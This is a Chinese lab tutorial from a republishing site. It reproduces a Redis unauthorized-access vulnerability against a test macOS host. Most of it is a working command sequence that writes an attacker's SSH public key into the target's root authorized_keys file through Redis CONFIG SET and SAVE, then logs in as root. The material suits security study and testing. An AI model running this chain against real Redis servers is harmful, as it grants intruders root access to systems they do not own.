栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

漏洞检测与防御:Redis未授权访问漏洞复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

漏洞检测与防御:Redis未授权访问漏洞复现

漏洞检测与防御:Redis未授权访问漏洞复现
1. 未授权访问漏洞

未授权访问漏洞可以理解为安全配置、权限认证、授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库、网站目录等敏感信息泄露。目前存在未授权访问漏洞的服务主要包括:NFS 、Samba、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop等,使用时要注意。本文复现Redis未授权访问漏洞。

1.1 Redis未授权访问漏洞

Redis是一种使用ANSIC语言编写的开源Key-Value型数据库。与Memcache相似,支持存储的value类型有很多种,其中包括String(字符串)、List(链表)、Set(集合)、Zset(有序集合)、Hash(哈希)等。Redis还支持不同的排序方式。Redis为了保证效率,将数据缓存在内存中,周期性地更新数据写入磁盘或者把修改操作写入追加的记录文件中,在此基础上实现了master-slaver(主从)同步。对Redis配置不当将会导致未授权访问漏洞,从而被攻击者恶意利用。在特定条件下,如果Redis以Root身份运行,攻击者可以用root权限的身份写入SSH公钥文件,通过SSH登录目标服务器,继而导致服务器权限被获取、泄漏或者发生加密勒索事件。

1.2 实验运行环境

靶 机:

OS: macOS Monterey Version 12.3.1(英文版)

Redis-Server: Redis 6.2.6

如下图:

攻击机:

OS:Linux kali Release 2021.3

Redis客户端: redis-cli 6.0.16

如下图:

1.3 SSH漏洞利用

1.3.1 与靶机(mac OS)Redis建立连接,在攻击机系统输入如下命令:

┌──(rootkali)-[~/.ssh]
└─# redis-cli -h 192.168.68.242                                                                                                                                                                                                          
192.168.68.242:6379> info

运行结果如下图:

1.3.2 在攻击机(ka li)上生成密钥auth_key,命令如下:

┌──(rootkali)-[~/.ssh]
└─# ssh-keygen -t rsa             # 本例生成个空密码(没密码)

运行结果如下图:

1.3.3 在目录/root/.ssh下查看生成结果,并将公钥导入auth_key.txt文件中,命令如下:

┌──(rootkali)-[~/.ssh]
└─# ls     
┌──(rootkali)-[~/.ssh]
└─# (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > auth_key.txt

运行结果如下图:

查看一下生成的公钥文件,命令如下:

┌──(rootkali)-[~/.ssh]
└─# cat auth_key.txt

运行结果如下图:

1.3.4 将auth_key.txt中的公钥导入靶机(macOS)缓存中,命令如下:

┌──(rootkali)-[~/.ssh]
└─# cat auth_key.txt | redis-cli -h 192.168.68.242 -x set xxx

运行结果如下图:

1.3.5 在攻击机(kali)端执行如下命令,查看靶机(macOS)缓存的公钥文件xxx,命令如下:

192.168.68.242:6379> keys *
192.168.68.242:6379> get xxx      

运行结果如下图:

1.3.6 更改配置文件路径为靶机(macOS)的目录/var/root/.ssh,设定文件名称为authorized_keys,然后保存。命令如下:

192.168.68.242:6379> config set dir /var/root/.ssh
OK
192.168.68.242:6379> config set dbfilename authorized_keys
OK
192.168.68.242:6379> save
OK
192.168.68.242:6379> 

1.3.7 在攻击机(kali)上通过SSH协议连接到靶机(macOS),命令如下:

┌──(rootkali)-[~/.ssh]
└─# ssh 192.168.68.242

运行结果如下图:

登录成功

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/831192.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号